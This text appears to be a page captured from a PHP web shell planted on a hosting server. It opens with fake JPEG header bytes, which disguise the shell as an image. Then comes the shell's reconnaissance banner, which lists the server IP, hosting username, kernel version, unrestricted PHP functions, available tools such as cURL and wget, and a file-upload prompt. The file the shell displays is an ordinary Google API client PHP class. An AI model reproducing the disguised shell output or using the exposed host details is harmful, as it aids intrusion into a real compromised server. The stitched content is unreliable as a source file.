ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.135 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/./www/vendor/google/apiclient-services/src/PolyService/Resource/ |
Upload File : |
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
namespace Google\Service\PolyService\Resource;
use Google\Service\PolyService\ListLikedAssetsResponse;
/**
* The "likedassets" collection of methods.
* Typical usage is:
* <code>
* $polyService = new Google\Service\PolyService(...);
* $likedassets = $polyService->likedassets;
* </code>
*/
class UsersLikedassets extends \Google\Service\Resource
{
/**
* Lists assets that the user has liked. Only the value 'me', representing the
* currently-authenticated user, is supported. May include assets with an access
* level of UNLISTED. (likedassets.listUsersLikedassets)
*
* @param string $name A valid user id. Currently, only the special value 'me',
* representing the currently-authenticated user is supported. To use 'me', you
* must pass an OAuth token with the request.
* @param array $optParams Optional parameters.
*
* @opt_param string format Return only assets with the matching format.
* Acceptable values are: `BLOCKS`, `FBX`, `GLTF`, `GLTF2`, `OBJ`, `TILT`.
* @opt_param string orderBy Specifies an ordering for assets. Acceptable values
* are: `BEST`, `NEWEST`, `OLDEST`, 'LIKED_TIME'. Defaults to `LIKED_TIME`,
* which ranks assets based on how recently they were liked.
* @opt_param int pageSize The maximum number of assets to be returned. This
* value must be between `1` and `100`. Defaults to `20`.
* @opt_param string pageToken Specifies a continuation token from a previous
* search whose results were split into multiple pages. To get the next page,
* submit the same request specifying the value from next_page_token.
* @return ListLikedAssetsResponse
*/
public function listUsersLikedassets($name, $optParams = [])
{
$params = ['name' => $name];
$params = array_merge($params, $optParams);
return $this->call('list', [$params], ListLikedAssetsResponse::class);
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(UsersLikedassets::class, 'Google_Service_PolyService_Resource_UsersLikedassets');